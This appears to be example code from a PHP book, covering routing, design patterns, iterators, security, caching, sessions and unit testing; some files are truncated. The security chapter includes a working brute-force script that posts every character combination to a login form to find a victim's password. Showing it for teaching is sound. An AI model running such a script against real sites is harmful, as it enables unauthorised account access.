28 | // Get our model
29 | $model = $this->getModel($controller);
30 |
31 | $data = $model->{$action}($route);
32 | $data = $data + $default_data;
33 |
34 | // Get our view
35 | $view = $this->getView($controller, $action);
36 |
37 | echo $view->render($data);
38 | } catch (Exception $e) {
39 | try {
40 | if ($url != '/error') {
41 | $data = array('message' => $e->getMessage());
42 | $this->dispatch("/error", $data);
43 | } else {
44 | throw new Exception("Error Route undefined");
45 | }
46 | } catch (Exception $e) {
47 | echo "An unknown error occurred.
";
48 | }
49 | }
50 | }
51 |
52 | /**
53 | * Set the router
54 | *
55 | * @param RouterAbstract $router
56 | */
57 | public function setRouter(RouterAbstract $router)
58 | {
59 | $this->router = $router;
60 | }
61 |
62 | /**
63 | * Get an instantiated model class
64 | *
65 | * @param string $name
66 | * @return mixed
67 | */
68 | protected function getModel($name)
69 | {
70 | $name .= '_Model';
71 |
72 |
73 | $this->includeClass($name);
74 |
75 | return new $name;
76 | }
77 |
78 | /**
79 | * Get an instantiated view class
80 | *
81 | * @param string $name
82 | * @param string $action
83 | * @return mixed
84 | */
85 | protected function getView($name, $action)
86 | {
87 | $name .= '_' .$action. 'View';
88 |
89 | $this->includeClass($name);
90 |
91 | return new $name;
92 | }
93 |
94 | /**
95 | * Include a class using PEAR naming scheme
96 | *
97 | * @param string $name
98 | * @return void
99 | * @throws Exception
100 | */
101 | protected function includeClass($name)
102 | {
103 | $file = str_replace('_', DIRECTORY_SEPARATOR, $name) . '.php';
104 |
105 | if (!file_exists($file)) {
106 | throw new Exception("Class not found!");
107 | }
108 |
109 | require_once $file;
110 | }
111 | }
112 | ?>
--------------------------------------------------------------------------------
/chapter_04/DependencyInjection.php:
--------------------------------------------------------------------------------
1 | engine) {
19 | throw new Exception('Unable to write log. No Engine set.');
20 | }
21 |
22 | $data['datetime'] = time();
23 | $data['message'] = $message;
24 |
25 | $session = Registry::get('session');
26 | $data['user'] = $session->getUserId();
27 |
28 | $this->engine->add($data);
29 | }
30 |
31 | /**
32 | * Set the log data storage engine
33 | *
34 | * @param Log_Engine_Interface $Engine
35 | */
36 | public function setEngine(Log_Engine_Interface $engine)
37 | {
38 | $this->engine = $engine;
39 | }
40 |
41 | /**
42 | * Retrieve the data storage engine
43 | *
44 | * @return Log_Engine_Interface
45 | */
46 | public function getEngine()
47 | {
48 | return $this->engine;
49 | }
50 | }
51 |
52 | interface Log_Engine_Interface {
53 | /**
54 | * Add an event to the log
55 | *
56 | * @param string $message
57 | */
58 | public function add(array $data);
59 | }
60 |
61 | class Log_Engine_File implements Log_Engine_Interface {
62 | /**
63 | * Add an event to the log
64 | *
65 | * @param string $message
66 | */
67 | public function add(array $data)
68 | {
69 | $line = '[' .data('r', $data['datetime']). '] ' .$data['message']. ' User: ' .$data['user'] . PHP_EOL;
70 |
71 | $config = Registry::get('site-config');
72 |
73 | if (!file_put_contents($config['location'], $line, FILE_APPEND)) {
74 | throw new Exception("An error occurred writing to file.");
75 | }
76 | }
77 | }
78 |
79 | $engine = new Log_Engine_File();
80 |
81 | $log = new Log();
82 | $log->setEngine($engine);
83 |
84 | // Add it to the registry
85 | Registry::add($log);
--------------------------------------------------------------------------------
/chapter_04/ErrorModel.php:
--------------------------------------------------------------------------------
1 | getLog($config['log']['type'], $config['log']);
9 | $log->add($data['message']);
10 |
11 | return array();
12 | }
13 | }
--------------------------------------------------------------------------------
/chapter_04/Event.php:
--------------------------------------------------------------------------------
1 | callbacks
11 | */
12 | static protected $callbacks = array();
13 |
14 | /**
15 | * Register a callback
16 | *
17 | * @param string $eventName Name of the triggering event
18 | * @param mixed $callback An instance of Event_Callback or a Closure
19 | */
20 | static public function registerCallback($eventName, $callback)
21 | {
22 | if (!is_callable($callback)) {
23 | throw new Exception("Invalid callback!");
24 | }
25 |
26 | $eventName = strtolower($eventName);
27 |
28 | self::$callbacks[$eventName][] = $callback;
29 | }
30 |
31 | /**
32 | * Trigger an event
33 | *
34 | * @param string $eventName Name of the event to be triggered
35 | * @param mixed $data The data to be sent to the callback
36 | */
37 | static public function trigger($eventName, $data)
38 | {
39 | $eventName = strtolower($eventName);
40 |
41 | if (isset(self::$callbacks[$eventName])) {
42 | foreach (self::$callbacks[$eventName] as $callback) {
43 | // The callback is either a closure, or an object that defines __invoke()
44 | $callback($data);
45 | }
46 | }
47 | }
48 | }
49 | ?>
--------------------------------------------------------------------------------
/chapter_04/Factory.php:
--------------------------------------------------------------------------------
1 | setPath($options['location']);
28 | break;
29 | case 'mysql':
30 | $log->setUser($options['username']);
31 | $log->setPassword($options['password']);
32 | $log->setDBName($options['location']);
33 | break;
34 | case 'sqlite':
35 | $log->setDBPath($otions['location']);
36 | break;
37 | }
38 |
39 | return $log;
40 | }
41 | }
42 | ?>
--------------------------------------------------------------------------------
/chapter_04/FilterIterator.php:
--------------------------------------------------------------------------------
1 | getInnerIterator();
12 |
13 | // Get the current key
14 | $key = $iterator->key();
15 |
16 | // Check for even keys
17 | if ($key % 2 == 0) {
18 | return true;
19 | }
20 |
21 | return false;
22 | }
23 | }
24 |
25 | $array = array(
26 | 0 => "Hello",
27 | 1 => "Everybody Is",
28 | 2 => "I'm",
29 | 3 => "Amazing",
30 | 4 => "The",
31 | 5 => "Who",
32 | 6 => "Doctor",
33 | 7 => "Lives"
34 | );
35 |
36 | // Create an iterator from our array
37 | $iterator = new ArrayIterator($array);
38 |
39 | // Create our FilterIterator
40 | $filterIterator = new EvenFilterIterator($iterator);
41 |
42 | // Iterate
43 | foreach ($filterIterator as $key => $value) {
44 | echo $key .': '. $value . PHP_EOL;
45 | }
46 | ?>
--------------------------------------------------------------------------------
/chapter_04/Iterator.php:
--------------------------------------------------------------------------------
1 | key = 0;
11 | }
12 |
13 | public function rewind() {
14 | $this->key = 0;
15 | }
16 |
17 | public function current() {
18 | return $this->data[$this->key];
19 | }
20 |
21 | public function key() {
22 | return $this->key;
23 | }
24 |
25 | public function next() {
26 | $this->key++;
27 | return true;
28 | }
29 |
30 | public function valid() {
31 | return isset($this->data[$this->key]);
32 | }
33 | }
34 |
35 | $iterator = new BasicIterator();
36 | $iterator->rewind();
37 |
38 | do {
39 | $key = $iterator->key();
40 | $value = $iterator->current();
41 | echo $key .': ' .$value . PHP_EOL;
42 | } while ($iterator->next() && $iterator->valid());
43 |
44 |
45 | $iterator = new BasicIterator();
46 | foreach ($iterator as $key => $value) {
47 | echo $key .': ' .$value . PHP_EOL;
48 | }
49 | ?>
--------------------------------------------------------------------------------
/chapter_04/IteratorExplanation.php:
--------------------------------------------------------------------------------
1 | $value) {
5 | echo $key .': ' .$value . PHP_EOL;
6 | }
7 | ?>
8 |
9 |
--------------------------------------------------------------------------------
/chapter_04/IteratorInterface.php:
--------------------------------------------------------------------------------
1 |
10 | position = 0;
21 | }
22 |
23 | public function rewind() {
24 | var_dump(__METHOD__);
25 | $this->position = 0;
26 | }
27 |
28 | public function current() {
29 | var_dump(__METHOD__);
30 | return $this->array[$this->position];
31 | }
32 |
33 | public function key() {
34 | var_dump(__METHOD__);
35 | debug_print_backtrace();
36 | return $this->position;
37 | }
38 |
39 | public function next() {
40 | var_dump(__METHOD__);
41 | ++$this->position;
42 | }
43 |
44 | public function valid() {
45 | var_dump(__METHOD__);
46 | debug_print_backtrace();
47 | return isset($this->array[$this->position]);
48 | }
49 | }
50 |
51 | $it = new myIterator;
52 |
53 | foreach($it as $key => $value) {
54 | var_dump($key, $value);
55 | echo "\n";
56 | }
57 | ?>
--------------------------------------------------------------------------------
/chapter_04/LimitIterator.php:
--------------------------------------------------------------------------------
1 | $value) {
20 | echo $key .': '. $value . PHP_EOL;
21 | }
22 | ?>
--------------------------------------------------------------------------------
/chapter_04/LogCallback.php:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/chapter_04/Model.php:
--------------------------------------------------------------------------------
1 | 'Brooke in the Woods',
10 | 'width' => 427,
11 | 'height' => 640,
12 | 'url' => 'http://farm6.static.flickr.com/5142/5584010786_95a4c15e8a_z.jpg',
13 | );
14 | }
15 | }
16 | ?>
--------------------------------------------------------------------------------
/chapter_04/MyDataRecord.php:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/chapter_04/Observer.php:
--------------------------------------------------------------------------------
1 | callbacks
11 | */
12 | static protected $callbacks = array();
13 |
14 | /**
15 | * Register a callback
16 | *
17 | * @param string $eventName Name of the triggering event
18 | * @param mixed $callback An instance of Event_Callback or a Closure
19 | */
20 | static public function registerCallback($eventName, $callback)
21 | {
22 | if (!($callback instanceof Event_Callback) && !($callback instanceof Closure)) {
23 | throw new Exception("Invalid callback!");
24 | }
25 |
26 | $eventName = strtolower($eventName);
27 |
28 | self::$callbacks[$eventName][] = $callback;
29 | }
30 |
31 | /**
32 | * Trigger an event
33 | *
34 | * @param string $eventName Name of the event to be triggered
35 | * @param mixed $data The data to be sent to the callback
36 | */
37 | static public function trigger($eventName, $data)
38 | {
39 | $eventName = strtolower($eventName);
40 |
41 | if (isset(self::$callbacks[$eventName])) {
42 | foreach (self::$callbacks[$eventName] as $callback) {
43 | self::callback($callback, $data);
44 | }
45 | }
46 | }
47 |
48 | /**
49 | * Perform the callback
50 | *
51 | * @param mixed $callback An instance of Event_Callback or a Closure
52 | * @param mixed $data The data sent to the callback
53 | */
54 | static protected function callback($callback, $data)
55 | {
56 | if ($callback instanceof Closure) {
57 | $callback($data);
58 | } else {
59 | $callback->run($data);
60 | }
61 | }
62 | }
63 |
64 | /**
65 | * The Event Callback interface
66 | *
67 | * If you do not wish to use a closure
68 | * you can define a class that extends
69 | * this instead. The run method will be
70 | * called when the event is triggered.
71 | */
72 | interface Event_Callback {
73 | public function run($data);
74 | }
75 |
76 | /**
77 | * Logger callback
78 | */
79 | class LogCallback implements Event_Callback {
80 | public function run($data)
81 | {
82 | echo "Log Data" . PHP_EOL;
83 | var_dump($data);
84 | }
85 | }
86 |
87 | // Register the log callback
88 | Event::registerCallback('save', new LogCallback());
89 |
90 | // Register the clear cache callback as a closure
91 | Event::registerCallback('save', function ($data) {
92 | echo "Clear Cache" . PHP_EOL;
93 | var_dump($data);
94 | });
95 |
96 | class MyDataRecord {
97 | public function save()
98 | {
99 | // Save data
100 |
101 | // Trigger the save event
102 | Event::trigger('save', array("Hello", "World"));
103 | }
104 | }
105 |
106 | // Instantiate a new data record
107 | $data = new MyDataRecord();
108 | $data->save(); // 'save' Event is triggered here
109 |
--------------------------------------------------------------------------------
/chapter_04/RecursiveIterator.php:
--------------------------------------------------------------------------------
1 | $value) {
22 | echo "Depth: " . $recursiveIteratorIterator->getDepth() . PHP_EOL;
23 | echo "Key: " . $key . PHP_EOL;
24 | echo "Value: " .$value . PHP_EOL;
25 | }
26 | ?>
--------------------------------------------------------------------------------
/chapter_04/RegexIterator.php:
--------------------------------------------------------------------------------
1 | $file) {
13 | /* @var SplFileInfo $file */
14 | echo $file->getFilename() . PHP_EOL;
15 | }
16 | ?>
--------------------------------------------------------------------------------
/chapter_04/Registry-DB-external.php:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/chapter_04/Registry-DB-internal.php:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/chapter_04/Registry.php:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/chapter_04/RouterAbstract.php:
--------------------------------------------------------------------------------
1 | baseUrl = preg_quote($baseUrl, '@');
46 | }
47 |
48 | /**
49 | * Normalize a string for sub-pattern naming
50 | *
51 | * @param string &$param
52 | */
53 | public function normalize(&$param)
54 | {
55 | $param = preg_replace("/[^a-zA-Z0-9]/", "", $param);
56 | }
57 | }
--------------------------------------------------------------------------------
/chapter_04/RouterRegex.php:
--------------------------------------------------------------------------------
1 | routes[] = array('pattern' => $this->_parseRoute($route), 'options' => $options);
13 | }
14 |
15 | /**
16 | * Retrieve the route data
17 | *
18 | * @param string $request The request URI
19 | * @return array
20 | */
21 | public function getRoute($request)
22 | {
23 | $matches = array();
24 | foreach ($this->routes as $route) {
25 | // Try to match the request against defined routes
26 | if (preg_match($route['pattern'], $request, $matches)) {
27 | // If it matches, remove unnecessary numeric indexes
28 | foreach ($matches as $key => $value) {
29 | if (is_int($key)) {
30 | unset($matches[$key]);
31 | }
32 | }
33 |
34 | // Merge the matches with the supplied options
35 | $result = $matches + $route['options'];
36 | return $result;
37 | }
38 | }
39 |
40 | throw new Exception("Route not found");
41 | }
42 |
43 | /**
44 | * Parse the route pattern
45 | *
46 | * @param string $route The pattern
47 | * @return string
48 | */
49 | protected function _parseRoute($route)
50 | {
51 | $baseUrl = $this->baseUrl;
52 | // Short-cut for the / route
53 | if ($route == '/') {
54 | return "@^$baseUrl/$@";
55 | }
56 |
57 | // Explode on the / to get each part
58 | $parts = explode("/", $route);
59 |
60 | // Start our regex, we use @ instead of / to avoid issues with the URL path
61 | // Start with our base URL
62 | $regex = "@^$baseUrl";
63 |
64 | // Check to see if it starts with a / and discard the empty arg
65 | if ($route[0] == "/") {
66 | array_shift($parts);
67 | }
68 |
69 | // Foreach each part of the URL
70 | foreach ($parts as $part) {
71 | // Add a / to the regex
72 | $regex .= "/";
73 |
74 | // Start looking for type:name strings
75 | $args = explode(":", $part);
76 |
77 | if (sizeof($args) == 1) {
78 | // If there's only one value, it's a static string
79 | $regex .= sprintf(self::REGEX_STATIC, preg_quote(array_shift($args), '@'));
80 | continue;
81 | } elseif ($args[0] == '') {
82 | // If the first value is empty, there is no type specified, discard it
83 | array_shift($args);
84 | $type = false;
85 | } else {
86 | // We have a type, pull it out
87 | $type = array_shift($args);
88 | }
89 |
90 | // Retrieve the key
91 | $key = array_shift($args);
92 |
93 | // If it's a regex, just add it to the expression and move on
94 | if ($type == "regex") {
95 | $regex .= $key;
96 | continue;
97 | }
98 |
99 | // Remove any characters that are not allowed in sub-pattern names
100 | $this->normalize($key);
101 |
102 | // Start creating our named sub-pattern
103 | $regex .= '(?P<' . $key . '>';
104 |
105 | // Add the actual pattern
106 | switch (strtolower($type)) {
107 | case "int":
108 | case "integer":
109 | $regex .= self::REGEX_INT;
110 | break;
111 | case "alpha":
112 | $regex .= self::REGEX_ALPHA;
113 | break;
114 | case "alphanumeric":
115 | case "alphanum":
116 | case "alnum":
117 | $regex .= self::REGEX_ALPHANUMERIC;
118 | break;
119 | default:
120 | $regex .= self::REGEX_ANY;
121 | break;
122 | }
123 |
124 | // Close the named sub-pattern
125 | $regex .= ")";
126 | }
127 |
128 | // Make sure to match to the end of the URL and make it unicode aware
129 | $regex .= '$@u';
130 |
131 | return $regex;
132 | }
133 | }
134 |
135 | /*
136 | $router = new RouterRegex;
137 | $router->addRoute("/alpha:page/alpha:action/:id", array('controller' => 'default'));
138 | $router->addRoute("/photos/alnum:user/int:photoId/in/regex:(?P([a-z]+?))-(?P([0-9]+?))");
139 |
140 | var_dump($router);
141 |
142 | var_dump($router->getRoute('/user-account/view/123'));
143 | var_dump($router->getRoute('/user-account/edit/123'));
144 | var_dump($router->getRoute('/profile/view/123'));
145 | var_dump($router->getRoute('/photos/dshafik/5584010786/in/set-72157626290864145'));
146 | */
147 | ?>
--------------------------------------------------------------------------------
/chapter_04/Singleton.php:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/chapter_04/StackedOuterIterators.php:
--------------------------------------------------------------------------------
1 | $value) {
28 | $innerIterator = $limitIterator->getInnerIterator();
29 | echo "Depth: " .$innerIterator->getDepth() . PHP_EOL;
30 | echo "Key: " .$key . PHP_EOL;
31 | echo "Value: " .$value . PHP_EOL;
32 | }
33 | ?>
--------------------------------------------------------------------------------
/chapter_04/View.php:
--------------------------------------------------------------------------------
1 | %s' . PHP_EOL;
6 | $html .= '
' . PHP_EOL;
7 |
8 | $return = sprintf($html, $data['title'], $data['url'], $data['width'], $data['height']);
9 |
10 | return $return;
11 | }
12 | }
13 | ?>
--------------------------------------------------------------------------------
/chapter_04/index.php:
--------------------------------------------------------------------------------
1 | addRoute("/:controller/:action/alnum:user/int:photoId/in/regex:(?P([a-z]+?))-(?P([0-9]+?))");
7 | $router->addRoute("/error", array('controller' => 'error', 'action' => 'showError'));
8 |
9 | $controller = new Controller();
10 | $controller->setRouter($router);
11 |
12 | $controller->dispatch('/photos/getPhoto/dshafik/5584010786/in/set-72157626290864145');
13 | $controller->dispatch('/users/dshafik');
14 | ?>
--------------------------------------------------------------------------------
/chapter_04/showErrorView.php:
--------------------------------------------------------------------------------
1 | An error occurred. Please try again.";
6 | }
7 | }
--------------------------------------------------------------------------------
/chapter_05/brute_force.php:
--------------------------------------------------------------------------------
1 | 'victims_username');
4 | $length = 0;
5 | $password = array();
6 | $chr = array_combine(range(32, 126), array_map('chr', range(32, 126)));
7 | $ord = array_flip($chr);
8 | $first = reset($chr);
9 | $last = end($chr);
10 | while (true) {
11 | $length++;
12 | $end = $length-1;
13 | $password = array_fill(0, $length, $first);
14 | $stop = array_fill(0, $length, $last);
15 | while ($password != $stop) {
16 | foreach ($chr as $string) {
17 | $password[$end] = $string;
18 | $post_data['password'] = implode('', $password);
19 | $context = stream_context_create(array('http' => array(
20 | 'method' => 'POST',
21 | 'follow_location' => false,
22 | 'header' => 'Content-Type: application/x-www-form-urlencoded',
23 | 'content' => http_build_query($post_data)
24 | )));
25 | $response = file_get_contents($url, false, $context);
26 | if (strpos($response, 'Invalid username or password.') === false) {
27 | echo 'Password found: ' . $post_data['password'], PHP_EOL;
28 | exit;
29 | }
30 | }
31 | for ($left = $end-1; isset($password[$left]) && $password[$left] == $last; $left--);
32 | if (isset($password[$left]) && $password[$left] != $last) {
33 | $password[$left] = $chr[$ord[$password[$left]]+1];
34 | for ($index = $left+1; $index <= $length; $index++) {
35 | $password[$index] = $first;
36 | }
37 | }
38 | }
39 | }
40 |
--------------------------------------------------------------------------------
/chapter_05/csrf.php:
--------------------------------------------------------------------------------
1 |
9 |
14 | prepare($query);
6 | $statement->execute(array($_POST['username'], $hash));
7 |
--------------------------------------------------------------------------------
/chapter_05/php_self.php:
--------------------------------------------------------------------------------
1 | prepare($query);
5 | $statement->execute(array($_POST['username'], $_POST['password']));
6 |
--------------------------------------------------------------------------------
/chapter_05/ssl.php:
--------------------------------------------------------------------------------
1 | 'localhost', 'port' => '11211', 'weight' => 1),
29 | // Define other hosts here
30 | );
31 |
32 | /**
33 | * Constructor
34 | */
35 | public function __construct() {
36 | $this->connect();
37 | }
38 |
39 | public function isConnected()
40 | {
41 | return $this->connected;
42 | }
43 |
44 | /**
45 | * Connect to the memcached pool
46 | *
47 | * @return void
48 | */
49 | protected function connect() {
50 | $this->connected = false;
51 |
52 | $this->memcache = new Memcache();
53 | foreach($this->pool as $host) {
54 | $this->memcache->addServer($host['host'], $host['port'], true, $host['weight']);
55 |
56 | // Confirm that at least one server in the pool connected
57 | $stats = $this->memcache->getExtendedStats();
58 | if ($this->connected || ($stats["{$host['host']}:{$host['port']}"] !== false && sizeof($stats["{$host['host']}:{$host['port']}"]) > 0)) {
59 | $this->connected = true;
60 | }
61 | }
62 |
63 | return $this->connected;
64 | }
65 |
66 | /**
67 | * Returns the namespace value for the current partition
68 | *
69 | * This method will create a new namespace key for the current partition.
70 | *
71 | * To clear the cache for a specific partition of the cache, just increment
72 | * this key.
73 | *
74 | * @param string $key
75 | * @return string
76 | */
77 | protected function addNamespace($partition = '') {
78 | // If we're not connected, just return false
79 | if(!$this->connected) {
80 | return false;
81 | }
82 |
83 | // Get the current namespace key
84 | $ns_key = $this->memcache->get($partition);
85 | if($ns_key == false) {
86 | // No key currently set, set one at random
87 | $ns_key = rand(1, 10000);
88 | $result = $this->memcache->set($partition, $ns_key, 0, 0);
89 | }
90 |
91 | // Return the key with the naamespace key
92 | $my_key = $partition."_".$ns_key."_".$key;
93 |
94 | return $my_key;
95 | }
96 |
97 | /**
98 | * Clears the cache by incrementing the namespace key
99 | *
100 | * @return void
101 | */
102 | public function clearCache($partition = '') {
103 | if (!$this->connected) {
104 | return false;
105 | }
106 |
107 | // Memcache has a built in increment method
108 | $this->memcache->increment($partition);
109 | }
110 |
111 | /**
112 | * Add a value to the cache
113 | *
114 | * Will also add a metadata key
115 | * with modified date and split
116 | * large values (>=1MB) across
117 | * multiple keys automatically.
118 | *
119 | * @param string $key
120 | * @param string $value
121 | * @param int $expires
122 | * @return boolean
123 | */
124 | public function set($key, $value, $partition = '', $expires = 14400) {
125 | // Define a constant so we don't have a magic number
126 | define('ONE_MB', 1 * 1024 * 1024);
127 |
128 | if (!$this->connected) {
129 | return false;
130 | } elseif (strlen($value) >= ONE_MB) {
131 | // Value is more than 1MB, split it
132 | $value = str_split($value, ONE_MB);
133 | }
134 |
135 | // Set an expiration of now plus timeout
136 | if ($expires !== 0) {
137 | $expires += time();
138 | }
139 |
140 | // Add the partion and namespace key to our item key
141 | $ns_key = $this->addNameSpace($key, $partition);
142 |
143 | $this->memcache->set($ns_key.'_metadata', json_encode((object) array("modified" => gmdate('D, d M Y H:i:s') . ' GMT', 'slabs' => sizeof($value))), MEMCACHE_COMPRESSED, $expires);
144 |
145 | // If our value is split, we need to store it in mulitple keys
146 | if (is_array($value)) {
147 | foreach ($value as $k => $v) {
148 | // Add an incrementing number to the key and store the chunk
149 | $this->memcache->set($ns_key . '_' .$k, $v, MEMCACHE_COMPRESSED, $expires);
150 | }
151 | return true;
152 | }
153 |
154 | return $this->memcache->set($ns_key, $value, MEMCACHE_COMPRESSED, $expires);
155 | }
156 |
157 | /**
158 | * Returns the data for a given key.
159 | *
160 | * Returns false if no data exists.
161 | *
162 | * Automatically fetches the metadata key
163 | * and sends the Last-Modified header.
164 | *
165 | * Automatically retrieves large values split
166 | * across multiple slabs.
167 | *
168 | * Also sends an X-Cache-Hit header to indicate
169 | * if the item was found in the cache.
170 | *
171 | * @param string $key
172 | * @return string
173 | */
174 | public function get($key, $partition = '') {
175 | if (!$this->connected) {
176 | return false;
177 | }
178 |
179 | $ns_key = $this->addNameSpace($key, $partition);
180 |
181 | $meta = $this->memcache->get($ns_key.'_metadata');
182 |
183 | // Send appropriate headers
184 | if ($meta && !empty($meta) && !headers_sent()) {
185 | $meta = json_decode($meta);
186 | header("X-Cache-Hit: 1", false);
187 | if (isset($meta->modified)) {
188 | header('Last-Modified: ' .$meta->modified);
189 | }
190 | } elseif (!$meta && !headers_sent()) {
191 | header("X-Cache-Hit: 0", false);
192 | return false;
193 | }
194 |
195 | // Retrieve data split across multiple keys
196 | $value = '';
197 | if ($meta && isset($meta->slabs) && $meta->slabs > 1) {
198 | // Item is split across keys
199 | for ($i = 0; $i < $meta->slabs; $i++) {
200 | // Concat each key to the previously returned data
201 | $value .= $this->memcache->get($ns_key . '_' .$i);
202 | }
203 | } else {
204 | // Item is not split
205 | $value = $this->memcache->get($ns_key);
206 | }
207 |
208 | return $value;
209 | }
210 |
211 | /**
212 | * Deletes the data for a given key.
213 | *
214 | * Returns true on successful deletion, false if unsuccessful.
215 | *
216 | * @param string $key
217 | * @return boolean
218 | */
219 | public function delete($key, $partition = '') {
220 | if (!$this->connected) {
221 | return false;
222 | }
223 |
224 | return $this->memcache->delete($this->addNamespace($key, $partition));
225 | }
226 | }
227 | ?>
--------------------------------------------------------------------------------
/chapter_06/MySQL_Session_Handler.php:
--------------------------------------------------------------------------------
1 | db = new PDO('mysql:host=' . self::DB_SERVER . ';dbname=' . self::DB_NAME, self::DB_USERNAME, self::DB_PASSWORD);
32 | } catch (PDOException $e) {
33 | return false;
34 | }
35 |
36 | return true;
37 | }
38 |
39 | function close() {
40 | $this->gc();
41 | unset($this->db);
42 | }
43 |
44 | function read($id) {
45 | //fetch the session record
46 | $sql = "SELECT data FROM sessions WHERE id = :sid";
47 |
48 | $query = $this->db->prepare($sql);
49 |
50 | $result = $query->execute(array(':sid' => $id));
51 |
52 | if ($result && $query->rowCount() > 0) {
53 | return $query->fetch(PDO::FETCH_ASSOC);;
54 | }
55 |
56 | // PHP requires you send an empty string if no session data
57 | return "";
58 | }
59 |
60 | function write($id, $data) {
61 | $sql = "REPLACE INTO sessions SET
62 | id = :sid,
63 | accesstime = " .time() . ",
64 | data = :data";
65 |
66 | $query = $this->db->prepare($sql);
67 |
68 | $result = $query->execute(
69 | array(
70 | ':sid' => $id,
71 | ':data' => $data
72 | )
73 | );
74 |
75 | if ($result && $query->rowCount() > 0) {
76 | return true;
77 | }
78 | return false;
79 | }
80 |
81 | function destroy($id) {
82 | $sql = "DELETE FROM sessions WHERE id = :sid";
83 |
84 | $query = $this->db->prepare($sql);
85 |
86 | $result = $query->execute(array(':sid' => $id));
87 |
88 | if ($result) {
89 | return true;
90 | }
91 |
92 | return false;
93 | }
94 |
95 | function gc() {
96 | //garbage collection
97 |
98 | $timeout = time() - get_cfg_var("session.gc_maxlifetime");
99 |
100 | $sql = "DELETE FROM sessions WHERE accesstime < :timeout";
101 |
102 | $query = $this->db->prepare($sql);
103 |
104 | $result = $query->execute(array(':timeout' => $timeout));
105 |
106 | if ($result) {
107 | return true;
108 | }
109 |
110 | return false;
111 | }
112 |
113 | }
114 |
115 | new MySQL_Session_Handler();
--------------------------------------------------------------------------------
/chapter_06/cache.php:
--------------------------------------------------------------------------------
1 | get($key, 'blog-pages');
11 |
12 | // If the data is not false, we got something valid
13 | if ($data !== false) {
14 | echo $data;
15 | } else {
16 | // Generate data, you can do this with buffering:
17 | // Start the buffer
18 | ob_start();
19 | // output all the data to the buffer
20 |
21 | // ...
22 |
23 | // Retrieve and output the data at the same time
24 | $data = ob_get_flush();
25 |
26 | // Add it to the cache.
27 | $cache->set($key, $data, 'blog-pages');
28 | }
29 | ?>
--------------------------------------------------------------------------------
/chapter_06/footer.php:
--------------------------------------------------------------------------------
1 | save_run($xhprof_data, $ns);
12 |
13 | // url to the XHProf UI libraries
14 | $url = 'http://example.org/xhprof_html/index.php';
15 | $url .= '?run=%s&source=%s';
16 |
17 | // Replace the placeholders
18 | $url = sprintf($url, $run_id, $ns);
19 |
20 | // Display the URL
21 | echo "Profiler Output";
22 | }
23 | ?>
--------------------------------------------------------------------------------
/chapter_06/header.php:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/chapter_07/lib/Calculator.php:
--------------------------------------------------------------------------------
1 | fooModel = $fooModel;
10 | }
11 |
12 | public function getFooModel()
13 | {
14 | if (empty($this->fooModel)) {
15 | $this->fooModel = new My_Model_Foo();
16 | }
17 | return $this->fooModel;
18 | }
19 |
20 | public function setView(My_View $view)
21 | {
22 | $this->view = $view;
23 | }
24 |
25 | public function getView()
26 | {
27 | if (empty($this->view)) {
28 | $this->view = new My_View();
29 | }
30 | return $this->view;
31 | }
32 |
33 | public function actionGet(array $params)
34 | {
35 | $fooModel = $this->getFooModel();
36 | $fooId = $params['fooId'];
37 | $fooData = $fooModel->get($fooId);
38 | $view = $this->getView();
39 | $view->assign($fooData);
40 | return $view->render('path/to/template');
41 | }
42 | }
43 | ?>
--------------------------------------------------------------------------------
/chapter_07/lib/Totaller.php:
--------------------------------------------------------------------------------
1 | calculator)) {
13 | $this->calculator = new My_Calculator;
14 | }
15 | return $this->calculator;
16 | }
17 |
18 | public function setCalculator(My_Calculator $calculator)
19 | {
20 | $this->calculator = $calculator;
21 | }
22 |
23 | public function addOperand($operand)
24 | {
25 | $this->operands[] = $operand;
26 | }
27 |
28 | public function calculateTotal()
29 | {
30 | $calculator = $this->getCalculator();
31 | $total = 0;
32 | foreach ($this->operands as $operand) {
33 | $total = $calculator->add($total, $operand);
34 | }
35 | return $total;
36 | }
37 | }
38 |
--------------------------------------------------------------------------------
/chapter_07/tests/BaseSeleniumTestCase.php:
--------------------------------------------------------------------------------
1 | setHost('localhost');
10 | $this->setPort(4444);
11 | $this->setBrowser('*firefox');
12 | $this->setBrowserUrl('http://example.com');
13 | $this->setTimeout(5000);
14 | }
15 |
16 | protected function onNotSuccessfulTest(Exception $e)
17 | {
18 | parent::onNotSuccessfulTest($e);
19 | $path = $this->htmlSourcePath . DIRECTORY_SEPARATOR .
20 | $this->testId . '.html';
21 | file_put_contents($path, $this->getHtmlSource());
22 | echo 'Source: ', $path, PHP_EOL;
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/chapter_07/tests/CalculatorTest.php:
--------------------------------------------------------------------------------
1 | calculator = new My_Calculator();
11 | }
12 |
13 | protected function tearDown()
14 | {
15 | unset($this->calculator);
16 | }
17 |
18 | public function testAddBothPositive()
19 | {
20 | $result = $this->calculator->add(3, 2);
21 | $this->assertEquals(5, $result);
22 | }
23 |
24 | public function testAddPositiveAndZero()
25 | {
26 | $result = $this->calculator->add(2, 0);
27 | $this->assertEquals(2, $result);
28 | }
29 |
30 | public function testAddPositiveAndNegative()
31 | {
32 | $result = $this->calculator->add(-1, 1);
33 | $this->assertEquals(0, $result);
34 | }
35 | }
36 |
--------------------------------------------------------------------------------
/chapter_07/tests/DaoTest.php:
--------------------------------------------------------------------------------
1 | createDefaultDBConnection($pdo, 'database_name');
13 | }
14 |
15 | /**
16 | * @return PHPUnit_Extensions_Database_DataSet_IDataSet
17 | */
18 | public function getDataSet()
19 | {
20 | /*
21 | For a composite data set:
22 |
23 | $table1 = $this->createMySQLXMLDataSet('/path/to/table1.xml');
24 | $table3 = $this->createMySQLXMLDataSet('/path/to/table3.xml');
25 |
26 | $composite = new PHPUnit_Extensions_Database_DataSet_CompositeDataSet();
27 | $composite->addDataSet($table1);
28 | $composite->addDataSet($table3);
29 |
30 | return $composite;
31 | */
32 |
33 | return $this->createFlatXMLDataSet(dirname(__FILE__) . '/_files/seed.xml');
34 | }
35 |
36 | protected function setUp()
37 | {
38 | $this->dao = new My_Dao;
39 | // any other required setup – connecting to the database, etc.
40 | }
41 |
42 | public function testDoStuff()
43 | {
44 | $this->dao->doStuff();
45 |
46 | // asserting table row count
